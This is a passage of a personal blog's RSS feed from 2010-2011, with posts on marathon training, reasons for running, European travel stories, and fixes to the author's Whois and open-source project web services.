<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3Kkrxc9hHb8:G7g7PTZOrlY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3Kkrxc9hHb8:G7g7PTZOrlY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3Kkrxc9hHb8:G7g7PTZOrlY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3Kkrxc9hHb8:G7g7PTZOrlY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3Kkrxc9hHb8:G7g7PTZOrlY:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3Kkrxc9hHb8:G7g7PTZOrlY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3Kkrxc9hHb8:G7g7PTZOrlY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3Kkrxc9hHb8:G7g7PTZOrlY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/3Kkrxc9hHb8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/05/11/the-blog-atrophy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/05/11/the-blog-atrophy/</feedburner:origLink></item>
		<item>
		<title>From Training to Tapering</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/KQcURQVBAKM/</link>
		<comments>http://adam.kahtava.com/journal/2011/04/21/from-training-to-tapering/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 16:00:11 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Calgary]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2864</guid>
		<description><![CDATA[My taper for the Vancouver Marathon (May 1st) started this week. Over this training session (Jan 1st &#8211; April 21st) I&#8217;ve logged 750km (466mi) in 60 some hours, gone through two pair of shoes, burned through 60,000 calories, and discovered the joys of running outside. Yes, in the COLD! The coldest day being -28C (-18F). [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><a href="http://www.flickr.com/photos/kahtava/5638351847/"><img src="http://farm6.static.flickr.com/5145/5638351847_8b8c9c5f5f.jpg" alt=""></a></div>
<p>My <a href="http://en.wikipedia.org/wiki/Tapering">taper</a> for the Vancouver Marathon (May 1st) started this week.</p>
<p>Over this training session (Jan 1st &#8211; April 21st) I&#8217;ve logged 750km (466mi) in 60 some hours, gone through two pair of shoes, burned through 60,000 calories, and discovered the joys of running outside. Yes, in the COLD! The coldest day being -28C (-18F). I used to be a fair weather enthusiast, pulling out any excuse to stay indoors in less than ideal conditions, but after breaking my treadmill I discovered that I&#8217;m quite weather resistant. Running outside through the winter was fun. Every run was a chance to flip winter the bird, an excuse to wear shorts (well&#8230; usually), and each step brought the warm weather closer. Sure there were a couple tough days, but adversity builds character. Right?</p>
<p>This image is an overlay of my long runs in Calgary since January 1st.</p>
<p>Did you know that, the fastest time for the 2010 Calgary Marathon was 2:32, the fastest time for the 2010 Vancouver Marathon was 2:16, the <a href="http://www.iaaf.org/mm/Document/Statistics/Standards/05/97/61/20110415082248_httppostedfile_EntryStandards_London2012_24135.pdf">2012 Olympic Qualifying Standard</a> for the Marathon is 2:15 &#8211; 2:18, and that the world&#8217;s fastest marathon (2:03)  was run this year at the Boston Marathon.</p>
<p>I&#8217;m excited to see where this training will take me &#8211; hopefully to the Boston Marathon, but certainly not to the Olympics. :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=KQcURQVBAKM:EuzKrJ2tXTo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=KQcURQVBAKM:EuzKrJ2tXTo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=KQcURQVBAKM:EuzKrJ2tXTo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=KQcURQVBAKM:EuzKrJ2tXTo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=KQcURQVBAKM:EuzKrJ2tXTo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=KQcURQVBAKM:EuzKrJ2tXTo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=KQcURQVBAKM:EuzKrJ2tXTo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=KQcURQVBAKM:EuzKrJ2tXTo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/KQcURQVBAKM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/04/21/from-training-to-tapering/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/04/21/from-training-to-tapering/</feedburner:origLink></item>
		<item>
		<title>Accomplishments and The Two Year Rule</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/5JlDI6zlDE0/</link>
		<comments>http://adam.kahtava.com/journal/2011/01/20/accomplishments-the-two-year-rule/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 17:00:39 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2766</guid>
		<description><![CDATA[Focus on the present, the glory days of years gone by are becoming insignificant. [An accomplishment] has a shelf life of two years. After that, it&#8217;s still an [accomplishment] &#8211; just with an asterisk. &#8211; The Runner&#8217;s Rule Book, Rule #1.51 Focusing on accomplishments from the past two years seems like a good rule of [...]]]></description>
			<content:encoded><![CDATA[<p>Focus on the present, the glory days of years gone by are becoming insignificant.</p>
<blockquote><p>[An accomplishment] has a shelf life of two years. After that, it&#8217;s still an [accomplishment] &#8211; just with an asterisk. &#8211; <a href="http://www.amazon.com/Runners-Rule-Book-Everything-Know/dp/1605295809">The Runner&#8217;s Rule Book</a>, Rule #1.51 </p></blockquote>
<p>Focusing on accomplishments from the past two years seems like a good rule of thumb &#8211; much like concentrating a resume on your past five years of relevant experience.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5JlDI6zlDE0:obdcwqXIGnE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5JlDI6zlDE0:obdcwqXIGnE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5JlDI6zlDE0:obdcwqXIGnE:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5JlDI6zlDE0:obdcwqXIGnE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5JlDI6zlDE0:obdcwqXIGnE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5JlDI6zlDE0:obdcwqXIGnE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5JlDI6zlDE0:obdcwqXIGnE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5JlDI6zlDE0:obdcwqXIGnE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/5JlDI6zlDE0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/01/20/accomplishments-the-two-year-rule/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/01/20/accomplishments-the-two-year-rule/</feedburner:origLink></item>
		<item>
		<title>Open Source Service Updates: Google Code’s New Project Page</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/806x1IXwkdI/</link>
		<comments>http://adam.kahtava.com/journal/2011/01/13/open-source-service-updates-google-codes-new-project-page/#comments</comments>
		<pubDate>Thu, 13 Jan 2011 17:00:51 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[RESTful]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2777</guid>
		<description><![CDATA[My Open Source Service is fixed. The problem being that Google Code&#8217;s profile page changed and the project list wasn&#8217;t being populated &#8211; man, I wish Google Code had an API. Anyhow; I added more tests, reduced some technical debt, cleaned up my page sniffer / scraper and things are working again. The Open Source [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><a href="http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/"><img src="http://farm6.static.flickr.com/5281/5345757905_5a1d4d4f8c.jpg" alt="Github or Google Code Source Code Repository Project Badge" /></a></div>
<p>My <a href="http://adam.kahtava.com/publicly-available-web-services/#open-source">Open Source Service</a> is fixed. The problem being that Google Code&#8217;s profile page changed and the project list wasn&#8217;t being populated &#8211; man, I wish Google Code had an API. Anyhow; I added more tests, reduced some technical debt,  cleaned up my page sniffer / scraper and things are working again. The Open Source Service is consumed by my <a href="http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/">Project Badge</a> (image on the right). Check out the source code <a href="http://code.google.com/p/adamdotcom-services/source/detail?r=87">updates</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=806x1IXwkdI:QNem83SS7IU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=806x1IXwkdI:QNem83SS7IU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=806x1IXwkdI:QNem83SS7IU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=806x1IXwkdI:QNem83SS7IU:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=806x1IXwkdI:QNem83SS7IU:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=806x1IXwkdI:QNem83SS7IU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=806x1IXwkdI:QNem83SS7IU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=806x1IXwkdI:QNem83SS7IU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/806x1IXwkdI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/01/13/open-source-service-updates-google-codes-new-project-page/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/01/13/open-source-service-updates-google-codes-new-project-page/</feedburner:origLink></item>
		<item>
		<title>The joy of life comes from our encounters with new experiences</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/6ldSaOPU23Y/</link>
		<comments>http://adam.kahtava.com/journal/2011/01/10/the-joy-of-life-comes-from-our-encounters-with-new-experiences/#comments</comments>
		<pubDate>Mon, 10 Jan 2011 17:00:35 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2742</guid>
		<description><![CDATA[So many people &#8230; will not take the initiative to change their situation because they are conditioned to a life of security, conformity, and conservatism, all of which may appear to give one peace of mind, but in reality nothing is more dangerous to the adventurous spirit within a man than a secure future. The [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>So many people &#8230; will not take the initiative to change their situation because they are conditioned to a life of security, conformity, and conservatism, all of which may appear to give one peace of mind, but in reality nothing is more dangerous to the adventurous spirit within a man than a secure future. The very basic core of a man’s living spirit is his passion for adventure. The joy of life comes from our encounters with new experiences, and hence there is no greater joy than to have an endlessly changing horizon &#8230;  &#8211; <a href="http://en.wikipedia.org/wiki/Christopher_McCandless">Chris McCandless</a></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6ldSaOPU23Y:nnkfRt3f2XU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6ldSaOPU23Y:nnkfRt3f2XU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=6ldSaOPU23Y:nnkfRt3f2XU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6ldSaOPU23Y:nnkfRt3f2XU:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=6ldSaOPU23Y:nnkfRt3f2XU:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6ldSaOPU23Y:nnkfRt3f2XU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=6ldSaOPU23Y:nnkfRt3f2XU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6ldSaOPU23Y:nnkfRt3f2XU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/6ldSaOPU23Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/01/10/the-joy-of-life-comes-from-our-encounters-with-new-experiences/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/01/10/the-joy-of-life-comes-from-our-encounters-with-new-experiences/</feedburner:origLink></item>
		<item>
		<title>Why I’m Running</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/zqdjc41ymNk/</link>
		<comments>http://adam.kahtava.com/journal/2011/01/06/why-im-running/#comments</comments>
		<pubDate>Thu, 06 Jan 2011 17:00:20 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2737</guid>
		<description><![CDATA[The long term results of a sedentary career (desk job) and lifestyle are frightening. Like many software developer and other knowledge based workers, I can spend up to 10 hours, 5 days a week sitting in a chair looking at a screen. It has been suggested that &#8220;[staring at a screen] is associated with lower [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><a href="http://www.flickr.com/photos/25602112@N07/4954542704/"><img src="http://farm5.static.flickr.com/4128/4954542704_f493d29773_m.jpg" alt="" /></a></div>
<p>The long term results of a sedentary career (desk job) and lifestyle are frightening. Like many software developer and other knowledge based workers, I can spend up to 10 hours, 5 days a week sitting in a chair looking at a screen. It has been suggested that &#8220;[staring at a screen] is associated with lower resting metabolic rate&#8221; (<a href="http://news.bbc.co.uk/2/hi/health/2966843.stm">TV watching &#8216;makes you obese&#8217;</a>), and regardless of being &#8220;slim or fat &#8230; every week spent inactive is roughly equivalent to smoking a packet of cigarettes&#8221; (<a href="http://www.bbc.co.uk/news/health-11442101">Laziness will send us to an early grave</a>). General health guidelines recommended that we &#8220;should do a minimum of 30 minutes moderate-intensity physical activity, five days a week&#8221; (<a href="http://www.bbc.co.uk/health/treatments/healthy_living/fitness/daily_howmuch.shtml">How much exercise?</a>), but exercising consistently five days a week is tough without a preferred physical activity.</p>
<p>Up until a 2005 (since University) I was focused on gaining industry knowledge and experience (being active wasn&#8217;t a priority) and nearing my 30th birthday I began to realize my sedentary lifestyle (career pursuits) were taking a toll on my health. I was becoming a pasty red-eyed developer. Going up stairs could leave me winded, riding a bike for 30 minutes was painful, and my metabolism was slowing down. </p>
<p>I made a couple attempts at becoming more fit. <strong>The bike</strong>; biking was my first attempt to exercise consistently. Cruising the city on a bike had a low barrier to entry, but getting out of the city required about a 2 hour time commitment, and riding in winter was tough. Rollers stepped in for the winter months, but seemed pretty easy without the resistance &#8211; I plan on getting a trainer next winter. Then came <strong>the gym</strong>, but the time limits on the aerobic equipment were frustrating and I didn&#8217;t have a desire to work on bulking up. Enters <strong>running</strong>. Running offered, the lowest barrier to entry (simplicity, tie up your running shoes and run anywhere), an efficient way to maintain cardiovascular fitness (an intense workout can take 30 minutes or less), and fun challenges (races, community, and competition). </p>
<p>I run because it reduces stress, simplifies my focus, makes me feel great, it&#8217;s social, and it&#8217;s a great way to maintain a fitness base for other pursuits like: biking, hiking, skiing, and even going up the stairs. I run because my career choice doesn&#8217;t necessarily facilitate good health.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=zqdjc41ymNk:PHIhg3Sp8RM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=zqdjc41ymNk:PHIhg3Sp8RM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=zqdjc41ymNk:PHIhg3Sp8RM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=zqdjc41ymNk:PHIhg3Sp8RM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=zqdjc41ymNk:PHIhg3Sp8RM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=zqdjc41ymNk:PHIhg3Sp8RM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=zqdjc41ymNk:PHIhg3Sp8RM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=zqdjc41ymNk:PHIhg3Sp8RM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/zqdjc41ymNk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2011/01/06/why-im-running/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2011/01/06/why-im-running/</feedburner:origLink></item>
		<item>
		<title>Whois Service Updates: ARIN’s New RESTful API</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/QUep9iVJK1o/</link>
		<comments>http://adam.kahtava.com/journal/2010/12/07/whois-service-updates-arins-new-restful-api/#comments</comments>
		<pubDate>Tue, 07 Dec 2010 17:00:03 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[RESTful]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2722</guid>
		<description><![CDATA[My Whois Service is fixed. The American Registry for Internet Numbers (ARIN) released a fantastic new RESTful API which meant my old text parsing code (dependent on their old service) was broken for a couple weeks. Check out the new ARIN RESTful API and my service source code updates.]]></description>
			<content:encoded><![CDATA[<p>My <a href="http://adam.kahtava.com/publicly-available-web-services/#whois">Whois Service</a> is fixed. The American Registry for Internet Numbers (ARIN) released a fantastic new RESTful API which meant my old text parsing code (dependent on their old service) was broken for a couple weeks. Check out the new <a href="https://www.arin.net/resources/whoisrws/">ARIN RESTful API</a> and my service source code <a href="http://code.google.com/p/adamdotcom-services/source/detail?r=85">updates</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=QUep9iVJK1o:DQKLsM8PfjI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=QUep9iVJK1o:DQKLsM8PfjI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=QUep9iVJK1o:DQKLsM8PfjI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=QUep9iVJK1o:DQKLsM8PfjI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=QUep9iVJK1o:DQKLsM8PfjI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=QUep9iVJK1o:DQKLsM8PfjI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=QUep9iVJK1o:DQKLsM8PfjI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=QUep9iVJK1o:DQKLsM8PfjI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/QUep9iVJK1o" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/12/07/whois-service-updates-arins-new-restful-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/12/07/whois-service-updates-arins-new-restful-api/</feedburner:origLink></item>
		<item>
		<title>Travel Stories</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/RBoMlVTd3s0/</link>
		<comments>http://adam.kahtava.com/journal/2010/11/01/travel-stories/#comments</comments>
		<pubDate>Mon, 01 Nov 2010 17:00:31 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2704</guid>
		<description><![CDATA[A couple fun stories from our trip around Europe. The $30 laundry. We packed light, which made laundromats a frequent necessity. One evening in Italy we found a laundromat, I found the change machine, but couldn&#8217;t read the instructions. Thinking that these machines were universal, I fed it a 20 Euro bill. I was surprised [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><a href="http://www.flickr.com/photos/kahtava/5065494137/in/set-72157625162213344/"><img title="Manarola, Italy" src="http://farm5.static.flickr.com/4128/5065494137_cbb9f4ebf0_m.jpg" alt="" /></a></div>
<p>A couple fun stories from our trip around Europe.</p>
<p><strong>The $30 laundry.</strong> We packed light, which made laundromats a frequent necessity. One evening in Italy we found a laundromat, I found the change machine, but couldn&#8217;t read the instructions. Thinking that these machines were universal, I fed it a 20 Euro bill. I was surprised when the machine expelled 20 Euro worth of flat pieces of metal that could only be used in <em>that</em> laundromat. I carried the fake coins around for the remainder of the trip, tried to use them at other laundromats, but never did find another washer that took the fake coins.</p>
<p><strong>Emergency at Buckingham Palace.</strong> We met up with a friend in England who took us on a tour of traditional British Pubs &#8211; bangers &#038; mash, along with many fresh pulled pints were consumed. The next day I decided to go for a run through the Royal Parks, I ran for an easy 45 minutes, but as I approached the heart of the park, in front of Buckingham Palace, I started feeling a tightness in my stomach. I frantically began my search for a toilet. I started scoping out the snack vendors for facilities, nothing, I started moving towards the park&#8217;s parameter, nothing, I looked for possible tree coverage, nope. Visions of being arrested for squatting in-front of Buckingham Palace were screaming through my mind just as a found a tourist map with clearly marked bathrooms, a quick stop at the Green Park tube station and I was back at it. Crisis averted.</p>
<p><strong>The economy hotel.</strong> We booked most our hotels the day-of on Hotwire or similar bidding type websites. Not knowing what hotel we were purchasing led to a very wide variation of quality in our accommodations &#8211; which kept things interesting and fun. Hotel Wanda was definitely one of our interesting experiences. We struggled for sometime finding Hotel Wanda in the medieval streets of Florence, but eventually bumbled into a 20 foot door with a buzzer for our hotel, we rang, the door was buzzed open, we stood in a dark room of halls, doors, apartment entrances, plaster statues, and stairs &#8211; no signage. After some trial and error we discovered the hotel entrance on the 2nd floor where we were greeted by a man at reception (and the only member of staff in the hotel). The man apologized for being <em>drunk</em>, then showed us our room and disappeared. The room was huge, a giant ashtray was sitting on our table (both of us are somewhat sensitive to smoking), upon further inspection, the comforter was riddled with cigarette burns, and the lock on the door was broken. We decided to make the best of it, opened the windows to let some fresh air in, and headed out to explore the city. Upon our return (in the evening) we discovered there was a bar beneath our room, the smoke from the bar patrons, along with their conversations and the music were wafting into our opened windows. No hotel staff were to be found. We closed the windows, popped in the earplugs, and tried to salvage the night. It was a cheap hotel, and we certainly got what we paid for. </p>
<p>We weren&#8217;t the only one with similar experiences at Hotel Wanda:</p>
<blockquote><p>
an apparently very drunk gentleman yelled at us from down the street and asked if we were looking for Hotel Wanda. He apologized, took us upstairs and, despite being extremely intoxicated, attempted to tell us which rooms we could have. Although the rooms were very big, it was a bit dark and strange.- <a href="http://www.tripadvisor.com/ShowUserReviews-g187895-d529522-r20498681-Hotel_Wanda-Florence_Tuscany.html#CHECK_RATES_CONT">Crazy experience (and not in a good way)</a></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RBoMlVTd3s0:7K8bXtymYxI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RBoMlVTd3s0:7K8bXtymYxI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=RBoMlVTd3s0:7K8bXtymYxI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RBoMlVTd3s0:7K8bXtymYxI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=RBoMlVTd3s0:7K8bXtymYxI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RBoMlVTd3s0:7K8bXtymYxI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=RBoMlVTd3s0:7K8bXtymYxI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RBoMlVTd3s0:7K8bXtymYxI:qj6IDK7rITs"><img 